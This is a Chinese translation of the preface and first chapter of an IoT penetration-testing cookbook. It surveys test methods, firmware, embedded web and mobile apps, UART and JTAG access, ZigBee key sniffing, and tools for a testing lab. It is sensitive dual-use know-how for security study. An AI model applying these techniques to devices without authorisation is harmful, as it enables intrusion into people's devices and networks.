IOT-渗透测试秘籍(全)

IOT 渗透测试秘籍(全)

原文:annas-archive.org/md5/897C0CA0A546B8446493C0D8A8275EBA

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

物联网是一个术语,用于指代连接到网络的嵌入式设备。一些设备被改装以包括连接它们到网络的模块,而其他一些是为特定需求而创建的尖端设备。在每种情况下,这些设备都对企业、国家和个人的安全构成风险。无论您是新手渗透测试人员还是经验丰富的渗透测试人员,《物联网渗透测试食谱》都包含了帮助安全专业人员全面评估和保护物联网生态系统的食谱。

本书所需的内容

以下是本书的软件要求:

  • Microsoft 威胁建模工具 2016

  • Binwalk,Firmadyne,Firmwalker,Angr(可选),Firmware-mod-toolkit,固件分析工具包,GDB,Radare2(可选),二进制分析工具BAT),Qemu,IDA Pro(可选)

  • Burp Suite,OWASP ZAP

  • 移动安全框架(MobSF),Idb,SQLite 浏览器 3.10.1,Cydia,openURL,dumpdecrypted,ipainstaller,SSL Kill Switch 2,Clutch2,Cycript,JD-GUI,Hopper

  • RTL-SDR

  • Node 安全项目Nsp),Retirejs,Dependency-check,flawfinder,Jenkins 2.60.3

以下是本书的硬件要求:

  • Attify Badge(或者,C232HM-DDHSL-0 电缆和 Adafruit FTDI Breakout 的组合),Salae Logic Sniffer(8 通道),RzRaven USB Stick 刷上 KillerBee 框架,JTAGulator,带有 Xbee Shield 的 Xbee,Ubertooth,BLE 适配器

本书的受众

本书适用于希望熟悉发现和利用物联网系统中的漏洞的软件开发人员、质量保证专业人员和安全专业人员,以及那些有兴趣采用积极的防御性安全控制的人员。

章节

在本书中,您将经常看到几个标题(准备好了,如何做...,它是如何工作的...,还有更多...,以及另请参阅)。为了清晰地说明如何完成食谱,我们使用以下部分:

准备好了

本节告诉您在食谱中可以期待什么,并描述了为食谱设置任何软件或任何先决设置所需的步骤。

如何做...

本节包含了遵循食谱所需的步骤。

它是如何工作的...

本节通常包括对上一节中发生的事情的详细解释。

还有更多...

本节包括有关食谱的其他信息,以使读者更加了解食谱。

另请参阅

本节提供了其他有用信息的链接。

约定

在本书中,您将找到许多文本样式,用于区分不同类型的信息。以下是一些这些样式的示例及其含义的解释。文本中的代码词,数据库表名,文件夹名,文件名,文件扩展名,路径名,虚拟 URL,用户输入和 Twitter 句柄显示如下:

“如果我们通过双击打开preferences文件,我们将看到存储在未受保护存储中的 OAuth access_tokens 和 refresh_tokens (CVE-2017-6082)。”

代码块设置如下:

<Contextpath="/jira"docBase="${catalina.home}
/atlassian- jira" reloadable="false" useHttpOnly="true">

任何命令行输入或输出都以以下方式编写:

adb pull data/data/com.skybell.app/files/default.realm /path/to/store/realdb

新术语重要单词以粗体显示。您在屏幕上看到的单词,例如菜单或对话框中的单词,会以这样的方式出现在文本中:“单击 查看类转储 以列出应用程序的类详细信息。”

警告或重要说明会以这种方式出现。

提示和技巧会以这种方式出现。

第一章:IoT 渗透测试

尽管IoT这个术语据信是由麻省理工学院的 Auto-ID 实验室于 1999 年创造的,嵌入式设备在技术领域已经存在了几十年。新 IoT 和嵌入式设备世界之间的区别在于设计决策和配置的遗留问题,这些决策和配置从未打算公开在互联网上。由于制造公司没有考虑后果,目前正在发生对 IoT 设备的广泛利用,导致了有史以来一些最大的分布式拒绝服务DDoS)攻击。我们将涵盖 IoT 渗透测试的各个方面和实际的安全指导,以提供针对当前市场上出现的攻击的预防措施。

要了解 IoT 的起源,您可以访问此链接:

autoid.mit.edu/iot_research_initiative

有关上述 DDoS 攻击的详细信息可以通过以下链接找到:www.us-cert.gov/ncas/alerts/TA16-288A

在本章中,我们将涵盖以下主题:

  • 定义 IoT 生态系统和渗透测试生命周期

  • 固件 101

  • IoT 中的 Web 应用程序

  • IoT 中的移动应用程序

  • 设备基础知识

  • IoT 无线通信简介

  • 建立 IoT 渗透测试实验室

本章的目标是为 IoT 渗透测试奠定基础,然后将在接下来的章节中使用。

介绍

本章重点介绍进行 IoT 渗透测试时所需的基础知识。它提供了关于 IoT 内部许多攻击面的基本概念,并为协助测试人员启动 IoT 测试实验室奠定了基础。

我们将讨论当前 IoT 渗透测试的状态以及可能的攻击面的每个领域,以解决测试在多年来的进展。然后我们将介绍固件安全、Web 应用程序安全、移动应用程序安全、硬件安全和无线通信的基础知识。

最后,我们将指导您如何设置所需的软件工具和硬件工具进行测试。

定义 IoT 生态系统和渗透测试生命周期

在过去几年中,由于部署的设备数量庞大、提供的便利性、易用性以及它们在我们社会中可能带来的潜在安全风险,人们对 IoT 设备格外关注。随着 IoT 的蓬勃发展,我们作为一个社会正逐渐接近技术的奇点。对 IoT 和支撑它们的互联网的依赖引发了对安全、隐私和安全性的担忧。由于设备渗透到消费者、娱乐、商业、医疗、工业、能源和制造等所有行业领域,已经证明消费者以及商业技术运营商和所有者无法适当地确保这些设备的安全。依赖设备制造商提供适当保证,即设备采用诸如安全设计等方法,严重依赖于设备所属的行业。

每个行业垂直领域和地区都有各自的测试设备法规。在测试之前进行尽职调查以确保不违反法律非常重要。在一些地区,如美国,对消费者设备进行安全研究是允许的,并且不受数字千禧年版权法DMCA)的限制,只要研究是出于善意,合法获取的,是在受控环境中进行的,并且不违反 2016 年 10 月的计算机欺诈和滥用法CFAA)。这意味着对连接的车辆、摄像头、各种智能家居设备、视频游戏主机和越狱移动设备进行安全研究现在是合法的。经过与 DMCA 和安全社区的长期斗争,这是一个重大胜利。

现在这些法律已经通过,这就是我们介入的地方;我们将进行设备固件、Web 应用程序、移动应用程序、硬件和无线通信的评估。首先,我们需要了解物联网的全部范围,包括渗透测试方法和生命周期,以识别所有的攻击面。让我们讨论每个物联网组件的基础知识,以便了解攻击。

渗透测试方法

对应用程序、网络和设备进行安全漏洞测试对于保持互联网更安全更重要。无论是由制造商、第三方咨询公司、企业安全团队还是安全研究人员进行测试,方法都会根据测试人员获得的信息而有所不同。理想情况下,全面的测试应该包括整个物联网系统及其基础设施,而不仅仅是设备本身,但由于价格或技术能力的原因,测试通常只包括物联网系统的一个子集也是常见的。

黑盒

黑盒评估是常见的,通常以相对较低的成本进行。这些类型的评估是在没有关于所使用的技术或设备实施的先验知识的情况下进行的。往往情况下,黑盒评估是由安全研究人员或第三方咨询公司进行的,但也可以由内部安全团队进行风险评估。

负责任的披露说明

如果通过安全研究发现了漏洞,重要的是要遵循供应商网站上的披露政策。如果供应商没有披露政策,CERT 可以协助适当地披露所报告的漏洞。有关 CERT 的漏洞披露政策的详细信息,请访问www.cert.org/vulnerability-analysis/vul-disclosure.cfm?

白盒

白盒评估是指测试人员被允许完全访问源代码、网络图、架构图、数据流图以及目标设备所使用的其他详细信息。通常情况下,测试人员事先获得的目标设备或应用程序的信息越多,测试结果就会越好。白盒评估成本更高,但也确保了对设备安全控制及其实施的更彻底审查。

灰盒

灰盒评估是在测试人员有限或部分了解的情况下进行的,组织内部人员知道这些情况。这些评估可能包括测试人员只知道应用程序堆栈和所使用的库,但没有关于 API 的详细文档。

有关安全研究的数字千年版权法(DMCA)的更多信息,请访问以下链接:www.ftc.gov/news-events/blogs/techftc/2016/10/dmca-security-research-exemption-consumer-devices

固件 101

固件是一种写入硬件设备以控制用户应用程序和各种系统功能的软件。固件包含低级编程代码,使软件能够访问硬件功能。运行固件的设备被称为嵌入式系统,其硬件资源有限,例如存储能力和内存。运行固件的嵌入式设备的例子包括智能手机、交通信号灯、连接的车辆、某些类型的计算机、无人机和有线机顶盒。

显然,嵌入式技术和运行在这些设备上的固件控制着我们的日常生活,从城市依赖的关键基础设施,到银行 ATM 和消费者居住的住宅。了解固件二进制文件的组成及其相关属性是很重要的。固件由引导加载程序、内核、文件系统和各种其他资源组成。在嵌入式 Linux、嵌入式 Windows、Windows IoT 核心和各种实时操作系统RTOS)上构建了不同类型的固件。本书将针对嵌入式 Linux 环境,但原则将保持平台无关。

您可以在此链接了解更多关于固件的信息:

wiki.debian.org/Firmware

以下图表代表了固件包含的内容:闪存内容、引导加载程序、内核和根文件系统:

图 1.1:固件内容

深入研究固件

让我们首先看看引导加载程序。引导加载程序的责任是初始化 RAM 以用于易失性数据存储,初始化串行端口,检测机器类型,设置内核标记列表,加载initramfs(初始 RAM 文件系统)并调用内核映像。引导加载程序通过板支持包BSP)初始化硬件驱动程序,通常由第三方开发。引导加载程序位于单独的可擦写可编程只读存储器EEPROM)上,这种情况较少见,或直接位于闪存存储器上,这种情况较常见。可以将引导加载程序视为 PC 启动时的 BIOS。详细讨论每个引导加载程序的责任超出了本书的范围;但是,我们将强调引导加载程序如何对我们有利。一些常见的 ARM 和 MIPS 架构引导加载程序包括:Redboot、u-boot 和 barebox。一旦引导加载程序启动内核,文件系统就会被加载。

固件中使用了许多文件系统类型,有时甚至会根据设备使用专有文件类型。然而,一些最常见的文件系统类型是 SquashFS、cramFS、JFFS2、YAFFS2 和 ext2。在设备中(尤其是消费者设备)使用最广泛的文件系统是 SquashFS。有一些实用工具,如unsquashfs和修改后的unsquashfs,用于从压缩的文件系统中提取数据。当供应商更改 SquashFS 以使用不受支持的压缩(例如 LZMA,SquashFS 4.0 之前,唯一官方支持的压缩是.zlib)时,将使用修改后的unsquashfs工具,并且文件系统的起始偏移量将与常规 SquashFS 文件系统不同。我们将在本书的后面部分讨论定位和识别偏移量。

有关嵌入式 Linux 文件系统的更多阅读,请访问以下链接:elinux.org/images/b/b1/Filesystems-for-embedded-linux.pdf

Sasquatch 是一个方便的工具,可用于提取修改后的 SquashFS 文件系统。Sasquash 可以在以下链接找到:

github.com/devttys0/sasquatch

同样,固件图像使用许多类型的文件压缩,例如 LZMA、.gzip.zip.zlip.arj等。每种压缩方式都有其优缺点,如压缩后的大小、压缩时间、解压时间,以及设备本身的业务需求。对于我们的目的,我们将把文件系统视为包含配置文件、服务、帐户密码、哈希和应用代码以及启动脚本的位置。在下一章中,我们将指导您如何找到正在使用的文件系统以及正在使用的压缩方式。

固件的开发供应链

在文件系统中,特定设备的代码存放在 C、C++或其他编程语言(如 Lua)中。特定设备的代码,甚至整个固件本身,可以是第三方开发者承包的,称为原始设计制造商(ODM),或者是与原始设备制造商(OEM)合作的内部开发者编写的。ODM 是嵌入式设备开发供应链中的重要组成部分。它们通常是亚洲的小公司,数量众多。一些 OEM 与他们信任的 ODM 合作生产产品线,而另一些则会与只有一个产品的 ODM 合作,费用最低。根据行业的不同,ODM 也可以被称为供应商。需要注意的是,ODM 可以自由地与许多不同的 OEM 合作,甚至可以分发相同的代码库。您可能对这个概念很熟悉,甚至想知道为什么一个关键的公共警告会影响十多个设备制造商的软件漏洞。这是由于 ODM 缺乏安全的开发生命周期流程,以及 OEM 的验证不足。一旦 ODM 完成他们的应用程序交付物,可能是 SDK 或固件,交付给 OEM,OEM 将把自己的代码库合并到固件中,这可能只是在 Web 界面上放置 OEM 标志。实施方式取决于 ODM 和 OEM 如何合并他们的代码;然而,ODM 向 OEM 提供二进制文件并不罕见。OEM 负责分发固件,管理固件,并支持设备本身。这包括第三方研究人员报告的固件安全问题,如果 ODM 保留源代码,而 OEM 只能访问二进制映像,这会给 OEM 带来压力。

在第三章中,《分析和利用固件》,我们将学习如何通过识别文件系统、识别压缩和模拟二进制文件进行测试,来逆向工程固件二进制映像,以利用常见的固件问题。

物联网中的网络应用程序

网站,又称为网络应用程序,无需介绍。至少,网络应用程序包含前端 HTML,JavaScript,后端 Web 服务器,应用服务器和数据库。随着网络应用程序的发展,对前端代码(如 JavaScript)的重度依赖越来越多,以便将计算负载从后端基础设施或设备上卸载。在更大范围的互联网上,网络应用程序与通过嵌入式设备提供的网络应用程序略有不同。

您所熟悉的网络应用程序有更多的依赖项,包括分离的 Web 服务器、应用服务器、数据库服务器,以及在后端运行的微服务。分离每个服务器是出于性能和可用性的原因。传统上,嵌入式网络应用程序被设计为在其自包含的环境中运行。从广义上讲,对于嵌入式网络应用程序,性能和可用性的关注较少。

今天在物联网领域使用的 Web 应用程序有两种不同的模型,例如混合云模型和嵌入式服务器独立模型。混合模型是供应商或制造商提供软件即服务SaaS)Web 应用程序,并连接到运行在固件上的嵌入式设备的 Web 应用程序的混合。然后,数据从制造商的云与设备上的设备在设备的本地网络上同步。对于一些物联网设备,会利用物联网云服务提供商的 SDK,例如 AWS 的物联网 SDK 和 Azure 的物联网 SDK,并内置到设备的 Web 应用程序堆栈中。识别混合模型对于遵守公司的服务条款以及您所在地区的法律范围非常重要。许多利用混合模型的物联网公司通常使用第三方软件开发公司或 ODM 代表 OEM 托管其 Web 应用程序。这些 ODM 的 Web 应用程序通常会为特定的 OEM 产品重新打包,而在没有代理通信的情况下可能不会被注意到。

具有互联网功能的物联网设备的混合云模型可能如下图所示。用户访问设备的界面,供应商的云和用户设备之间的 Web 服务在幕后进行更改或收集数据:

图 1.2 混合 Web 模型

嵌入式设备 Web 应用程序,正如前面提到的,是在设备固件内部运行的,利用嵌入式 Web 服务器,如 lighttpd 或 nginx,没有外部依赖。您可能熟悉这些独立的嵌入式 Web 应用程序,它们通常在打印机、VoIP 电话和家用路由器上运行。很多时候,输入直接发送到设备固件,如果用户输入未经验证或未经过滤,攻击者可以在设备的上下文中执行任意命令。在某些情况下,嵌入式 Web 应用程序设计为仅在局域网LAN)内运行,以防止外部攻击或用于管理目的。这可能适用于家庭物联网、工业和商业设备。通常,仅在局域网内可用的设备是出于安全目的,但正如我们所了解的,这并不能阻止攻击。有意设计产品以此为目的的设备制造商正在意识到,客户有意或无意地将其设备连接到互联网,从而对客户网络构成风险。

以下图示演示了用户通过 Web 浏览器连接到嵌入式独立 Web 应用程序,而无需外部系统依赖:

图 1.3:本地嵌入式 Web 应用程序

Web 通信

浏览器、嵌入式服务器和 Web 应用程序服务器之间的通信通常通过 Web 服务进行,例如简单对象访问协议SOAP)/ XML 或基于表述状态转移REST)的 API,通过 HTTP/HTTPS 进行。SOAP 请求包括一个信封元素,一个xmlns:soap命名空间,一个encodingStyle属性,以及诸如 SOAP 主体元素之类的各种元素。有关 SOAP 的更多详细信息,请访问以下链接:

www.w3schools.com/xml/xml_soap.asp

一个查询账户余额的HTTP SOAP请求示例如下所示:

POST http://example.com/soap/webservices HTTP/1.1 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Authorization: BasicYWRtaW46YWRtaW4= 
Content-Length: 821 
Content-Type: text/plain;charset=UTF-8 
DNT: 1 
Connection: keep-alive 
Host: example.com 

<soapenv:Envelope  > 
   <soapenv:Header/> 
   <soapenv:Body> 
      <getAccountBalance> 
         <messageHeader> 
            <action>get</v1:action> 
            <scopeObject>AccountBalance</v1:scopeObject> 
            <revision>1.0</v1:revision> 
           <createdTimestamp>2017-01-13T09:15:01.469</v1:createdTimestamp> 
            <sourceInterface>WEB</v1:sourceInterface> 
            <messageIdentifier>00810187-101EDDA4</v1:messageIdentifier> 
            <functionName>getAccountBalance</v1:functionName> 
         </messageHeader> 
         <billingAccountIdentifier>1234566</v1:billingAccountIdentifier> 
      </getAccountBalance> 
   </soapenv:Body> 
</soapenv:Envelope> 

REST 风格的 API 利用各种 HTTP 方法,这些方法在传统的 Web 应用程序中可能不是标准的,例如 PUT 方法,用于更新资源值,以及DELETE方法,用于在 API 中删除值。REST 请求可以通过 URL 进行参数调用(不建议用于敏感数据),也可以通过JavaScript 对象表示JSON)中的 HTTP 主体进行调用。

一个订阅test@example.com电子邮件地址到电子邮件分发列表的 REST 请求示例如下所示:

POST /rest/email/subscribe HTTP/1.0 
Host: example.com 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Content-Type: application/json 
Content-Length: 160 
Connection: close 

{ 
  "subscriberId":"12345", 
  "emailAdress":"test@example.com", 
  "confirmed":"Y" 
} 

为了查看 SOAP 或 REST 请求,需要使用中间人代理。诸如 Burp Suite 和/或 OWASP ZAP 之类的工具被用作 Web 代理,以查看从浏览器和移动应用程序到应用程序的 Web 后端基础设施发出的所有请求。我们将在第四章中后面的设置配置来代理应用程序流量。

就物联网而言,Web 应用程序是控制设备的常见方式,也是内部和外部网络角度的攻击入口之一。在第四章中,《嵌入式 Web 应用程序的利用》,我们将学习如何识别常见的物联网 Web 应用程序缺陷和漏洞。

物联网中的移动应用程序

在物联网领域,移动应用程序与先前讨论的 Web 应用程序模型类似。虽然讨论移动设备平台的安全模型的具体细节超出了本书的范围,但对移动应用程序开发模型有基本的了解将有助于在前进时进行测试。

混合

安装在 Android、iOS 或 Windows 手机设备上的移动应用程序可以是混合应用程序或本机应用程序。虽然混合和本机这两个术语在移动应用程序的意义上与 Web 应用程序有所不同,但原则是相似的。混合应用程序利用 Web 技术(如 HTML/HTML 5、CSS 和 JavaScript)以及一些本机平台硬件(如 GPS 或蓝牙)。对硬件资源的访问仅通过混合框架提供的插件。将混合应用程序视为打包到本机平台可以使用的包装器中的 Web 应用程序。这意味着 Web 开发人员现在可以编写移动应用程序,而无需学习新语言。

混合应用程序为多个平台使用一个代码库,例如 Windows Phone、Android 和 iOS,这在考虑首次推出物联网设备时是一个巨大的优势。应用程序通过嵌入的 Web 浏览器(称为 WebView)在 Web 上调用。市场上有许多混合框架,如 Apache Cordova、Adobe PhoneGap 和 Xamarin 等,这些都是目前最受欢迎的应用程序使用的框架。

每个移动混合框架都包含一个第三方市场,其中包含各种功能的插件。一些框架,如 Xamarin,是用一种编程语言(C#)编写的,并被翻译成本机语言(Objective C 和 Java)以实现快速开发。这些移动框架已知存在许多安全警报,从本机平台上的关键远程代码执行问题到隐私问题。如果您注意到某个特定的移动混合框架正在被使用,那么查看漏洞数据库可能是一个不错的主意。

为了让您更好地了解运行混合应用程序所需的架构,以下图表显示了应用程序代码、WebViews、插件和移动设备本身之间的不同组件。请记住,大多数包装器代码和插件是由混合框架或为框架做出贡献的第三方开发人员开发的:

混合应用程序示例

本机应用程序

本机应用是为特定操作系统构建的,并在设备平台的本机语言内编写,例如 Java、Objective C、Swift,甚至 Windows 手机的 C#。本机应用使用各自平台的 SDK,使应用程序可以访问摄像头、蓝牙和 GPS 等硬件。本机应用的性能和安全性更好,但依赖于懂得本机语言的经验丰富的开发人员。在某些情况下,这可能对开发人员的人员配备造成困难,因为平台 API 经常更新和废弃语言类或方法。越来越多的平台,如 iOS 和 Android,正在开发本机安全 API,开发人员可以利用这些 API,而无需使用第三方库。这对于安全通信和安全数据存储非常重要。

本机架构比混合应用架构简单得多。以下图表显示了本机应用在设备上直接运行本机代码,无需第三方组件来访问硬件资源:

本机应用示例

了解每种移动应用模型的优缺点对于有效的测试非常重要。由于设备控制被委托给移动应用程序,它们是设备的另一个攻击入口点,有时比其他入口点更容易。在第五章中,对物联网移动应用程序的利用,我们将深入研究物联网移动应用程序中一些最常见的漏洞,同时剖析物联网设备。

设备基础

设备硬件从印刷电路板PCB)开始,由玻璃纤维、铜、焊膜、丝印、走线和焊盘组成。电阻、电容、Wi-Fi 芯片、EEPROM 和串行和微控制器等组件被焊接到 PCB 上。PCB 有各种薄铜箔层,使其导电,也有绝缘层,使其不导电。在查看 PCB 时,识别感兴趣的组件非常重要。感兴趣的组件包括直接或间接成为设备固件输入源的组件。EEPROM、NAND 闪存、通用异步收发器UART)和联合测试行动组JTAG)等组件是测试的重点。

这是数字视频录像机DVR)的 PCB 板的样子:

PCB 板

硬件输入

EEPROM 是一种非易失性存储位置,可以按字节单块读写。EEPROM 可以通过电荷或紫外线曝光来擦除。与其他闪存类型类似,EEPROM 允许有限次数的写入循环。EEPROM 是一个值得关注的芯片,因为固件可以加载到 EEPROM 上,并且可以从 PCB 上移除到 EEPROM 读卡器进行进一步分析:

EEPROM

图片来源:cdn.sparkfun.com//assets/parts/3/0/5/EEPROM.jpg

NAND 闪存存储器以块的形式写入和读取,通常在 USB 驱动器中找到,但也存在于物联网设备以及游戏机中。NAND 闪存通常包含设备的引导加载程序,遵循各种指令启动操作系统,并且可以被操纵;我们将在本书的后面为您详细介绍这一点。

UART 是获得设备访问权限的最常见方式之一。制造商使用 UART 进行诊断、日志消息,并作为验证配置的调试控制台,这使得它成为固件中最常见的输入源之一。由于它用于调试,一旦连接,通常会授予 root 访问权限。然而,有时 UART 访问受到密码保护,这可能会增加暴力破解的时间。UART 包含大约八条数据线和控制引脚,还有两根串行线,即接收数据和发送数据线(RX/TX)。UART 不需要外部时钟。在 PCB 上连接到 UART 时,必须使用万用表找到 TX、RX 和 GND。有时,在某些设备上找到 UART 可能比其他设备更困难。一些制造商可能会从 PCB 上移除 UART 引脚,需要进行焊接。制造商还可能用各种丝网层覆盖 UART 引脚,并用另一个集成电路覆盖引脚,这可能有点麻烦。

JTAG 是 IEEE 1149.1 下的另一种串行通信。它是为芯片和系统级测试而创建的。制造商使用 JTAG 作为调试的来源,类似于 UART。有能力保护 JTAG 访问的密码,但 BYPASS 模式仍然应该有效。固件可以通过 JTAG 进行转储以进行分析或升级。它提供了与板上硬件的直接接口,这意味着它可以访问连接到它的设备,如闪存或 RAM。有 TDI(数据输入)、TDO(数据输出)、TMS(测试模式选择)、TCK(测试时钟)和 TRST(测试复位)。JTAG 连接到芯片上的测试访问端口(TAP),在访问芯片上的寄存器时调节状态。与 UART 类似,制造商可能会混淆引脚或迹线。

查看 PCB 并在物联网设备中找到组件,可以通过拆卸设备或搜索第三方网站如fccid.io。 FCC ID 是由 FCC 分配的产品 ID,以便跟踪市场上的无线产品。 Fccid.io 非常棒,为我们提供了大量关于设备的详细信息! FCC 发布各种设计文件、数据表、内部图像、外部图像、测试报告、各种手册、无线频率等。在第六章中,《物联网设备黑客入门》,我们将带您了解硬件黑客的方法论,以定位硬件细节并连接输入。

物联网无线通信简介

物联网设备最常见的连接和交互方式是通过无线射频(RF)通信。在当今市场上使用了许多不同的无线频率、调制和协议。一些无线协议是专有的,而其他一些是标准的。打开设备将揭示一个或多个执行无线通信的芯片。这对于需要接收各种不同无线通信协议和频率的物联网网关和中心非常常见。无线技术的优势之一是能够远程控制设备。这也是利用具有无线通信的设备时的情况。重要的是要了解每种无线技术的距离能力。一个无线协议可能有 105 英尺(约 32 米)的距离,而另一些可能只有 20 厘米。在物联网生态系统中有许多无线协议,其中一些最常用的协议包括 Wi-Fi(802.11)、ZigBee(802.15.4)、Z-Wave、蓝牙(802.15.1)和蓝牙低功耗。

Wi-Fi

Wi-Fi是多年来许多设备中使用的最常见的无线技术。它在 2.4 GHz 和 5 GHz ISM 频段上运行。目前有许多正在使用的 Wi-Fi 标准,如 802.11a、802.11b、802.11g、802.11n 和 802.11ac。802.11b 和 802.11g 在 2.4 GHz 频段上运行,而 802.11a、802.11n 和 802.11ac 使用 5 GHz 频段。有 14 个无线信道,它们在不同的频率上运行。根据地区,Wi-Fi 路由器可以在特定信道上进行广播。

ZigBee

ZigBee基于 IEEE 802.15.4 规范,支持低功率无线网状网络的物理和媒体访问控制层。ZigBee 根据地区在不同的 ISM 频段上运行,但在全球范围内主要在 2.4 GHz 上运行,美国为 915 MHz,欧盟为 868 MHz。ZigBee 由协调器(ZC)、路由器(ZR)和终端设备(ZED)组成。协调器自动启动网络的形成。网络中只有一个协调器,通常是用于验证和验证加入网络的每个设备的信任中心,并具有唯一的网络密钥。路由器从其他设备传递数据,并将路由关联到终端设备。

路由器必须持续供电,以便正确地将消息传递到网络。终端设备是物联网设备,如开关、传感器、摄像头或监视器。它们无法在网络内路由数据,但可以在不传输数据时进入低功耗模式。ZigBee 网络基于两个安全密钥,即网络密钥和链接密钥。网络密钥用于安全传输通信,是一个与网络中所有设备共享的 128 位密钥。链接密钥用于安全地传输 ZigBee 应用层中的单播通信。链接密钥也是一个 128 位密钥,仅在两个设备之间共享。链接密钥可以预先安装在设备上,也可以通过密钥交换进行分发。在设备配对期间的易受攻击的密钥交换是消费者级 ZigBee 网络中已知的缺陷,这使得攻击者可以窃听交换网络密钥并破坏整个网络。

关于 ZigBee 安全漏洞的良好幻灯片可以通过 2015 年在 Blackhat 上举行的ZIGBEE EXPLOITED演讲找到。

www.blackhat.com/docs/us-15/materials/us-15-Zillner-ZigBee-Exploited-The-Good-The-Bad-And-The-Ugly-wp.pdf

Z-Wave

Z-Wave是另一种低功率无线通信协议,支持主从模式的网状网络。它使用不同地区的次 1 GHz 频段(美国为 916 MHz,欧盟为 868.42 MHz)。其物理和媒体访问层在 ITU 下被批准为国际标准 G.9959。两个设备之间的 Z-Wave 范围为 328 英尺或 100 米,但当流量通过其网状网络中的 Z-Wave 产品时,可以达到 600 英尺或 200 米。Z-Wave 网络由 4 字节(32 位)的 HomeID 标识,这是控制器或主节点的唯一 ID。同一网络中的所有节点共享相同的 HomeID。每个节点由 1 字节(8 位)的 NodeID 标识,这是控制器在加入网络后提供的。具有不同 HomeID 的节点无法相互通信。Z-Wave 可以使用 AES 加密,由 Z-Wave 中心支持,但对于制造商来说,这纯粹是可选的。Z-Wave 确实包括一个很好的信号干扰检测功能,可以防止拒绝服务DoS)攻击。

有关 Z-Wave 协议的其他规格,请访问www.z-wave.com

蓝牙

蓝牙是一种常用的无线技术标准(IEEE 802.15.1),用于短距离数据通信。蓝牙在 2.4 至 2.485 GHz 广播,最远可达 100 米,但更常用于 10 米或 30 英尺以下。本书将包含蓝牙和蓝牙低功耗BLE)测试技术,因为许多物联网设备确实使用了蓝牙作为主要通信手段。有关蓝牙的更多阅读,请访问以下链接:

www.bluetooth.com/what-is-bluetooth-technology/how-it-works

设置物联网渗透测试实验室

现在,所有基础物联网技术都已涵盖,让我们开始设置物联网渗透测试实验室。由于物联网设备采用了一套技术,因此需要软件和硬件测试的多种工具。我们将使用一些付费商业工具以及免费工具。硬件和无线电分析工具需要一些前期购买。Web 应用程序代理工具需要适度的许可费,但我们将尽量保持价格低廉,并在可能的情况下提供免费工具。

软件工具要求

软件工具将涵盖固件、Web 应用程序和移动应用程序测试工具。这三类测试工具中的大多数都是免费的,除了 Web 应用程序测试的 Burp Suite。为了方便起见,已经花费时间在本书的虚拟机中设置和安装了大部分固件分析、Web 测试、移动测试(有限)和无线电分析的软件工具。但是,已经编制了所有工具的清单,并在此记录。

固件软件工具

幸运的是,大多数固件分析工具都是免费且开源的。一些工具正在积极更新,而其他一些可能已经过时但仍然有效。以下是一些可以分析固件图像、反汇编图像并在运行时连接到固件进程的固件软件工具:

  • Binwalk

  • Firmadyne

  • Firmwalker

  • Angr

  • 固件修改工具包

  • 固件分析工具包

  • GDB

  • Radare2

  • 二进制分析工具BAT

  • Qemu

  • IDA Pro(可选)

Web 应用软件工具

对于 Web 应用程序测试,最常用的工具是 Burp Suite 和 OWASP Zed Attack ProxyZAP)。Burp Suite 有免费和专业版本可供选择。ZAP 完全免费且开源,可能是保持成本低的一个好选择。可以使用附加插件或附加组件来帮助进行 Web 服务和 API 测试。不幸的是,要在 Burp Suite 中安装插件,需要专业许可证。这里列出的所有工具都是跨平台的,因为它们要么是基于 Java 的,要么是在您的浏览器中:

  • Burp Suite

  • OWASP Zed Attack ProxyZAP

  • REST Easy Firefox 插件

  • Postman Chrome 扩展程序

移动应用软件工具

与固件工具一样,大多数移动应用安全工具也是免费且开源的。将使用的移动工具根据以下移动平台进行了拆分。

Android

截至本书撰写时,有许多 Android 测试工具和虚拟机可在网上找到。一些工具专注于静态分析 APK 的代码,而其他工具专注于运行时的应用程序分析。大多数 Android 测试虚拟机分发是免费的,并包含测试 Android 应用程序所需的必需品,如 Android 的 SDK。尽管在这里列出了 Android 测试工具,但建议您下载适合您测试需求的 Android 测试虚拟机分发,并在该虚拟机中安装任何补充测试工具。

虽然不是必需的,但将 Android 测试工具与主机计算机分开将会导致更稳定的移动测试工作台,并防止依赖问题。

  • Android 测试虚拟机分发:

  • Android SDK

  • Android 模拟器

  • Enjarify

  • JD-Gui

  • Mob-SF

  • SQLite 浏览器

  • Burp Suite

  • OWASP ZAP

iOS

iOS 测试工具是独特的,因为测试需要 OS X 计算机和越狱的 iDevice。如果没有这两个先决条件,将无法测试 iOS 应用程序。以下是可能用于 iOS 移动测试的一些工具:

OS X 计算机

以下列出的项目是要安装在主机计算机上用于测试和/或评估 iOS 应用程序的软件工具:

  • idb

  • Xcode 工具

  • Class-dump

  • Hopper(可选)

  • Mob-SF

  • SQLite 浏览器

  • Burp Suite

  • OWASP ZAP

越狱的 iDevice

以下列表包括需要安装到您的越狱设备上以开始测试的软件包:

  • Cydia

  • openURL

  • dumpdecrypted

  • ipainstaller

  • SSL Kill Switch 2

  • Clutch2

  • Cycript

硬件分析工具要求

硬件工具因被分析的特定设备而异;但是,对于所有硬件甚至电气要求都适用基本工具。制造商将使用不同类型的螺丝、外壳和安全位作为硬件拆卸的临时措施。有时,螺丝会隐藏在标签或橡胶脚下。识别螺丝类型很重要。我们将列出可绕过供应商使用的这种混淆技术的工具包。以下图片应该有助于了解一些不同类型的螺丝类型:

图片来源:http://www.instructables.com/id/When-a-Phillips-is-not-a-Phillips/

以下列出了本书中将使用的硬件工具和硬件分析软件的选项。

硬件工具

硬件测试工具需要一些前期投资才能开始。这里列出了拆卸设备、找到接地点和访问设备接口所需的必需和可选工具:

  • 万用表

  • IFixit 经典专业技术工具包,用于硬件拆卸

  • 总线海盗

  • USB 转串口适配器

  • Shikra,FTDI FT232,CP2102,PL2303,Adafruit FTDI Friend

  • JTAG 适配器

  • Shikra,JTAGulator,带 JTAGenum 的 Arduino,JLINK,Bus Blaster

  • 逻辑分析仪(可选)

  • Saleae Logic 或其他

有关更多信息,您可以访问以下链接:

硬件分析软件

以下是一些免费的硬件分析工具。这些工具使我们能够访问硬件接口,例如控制台访问或将固件侧加载到设备上:

  • OpenOCD

  • Spiflash

  • Minicom

  • 波特率

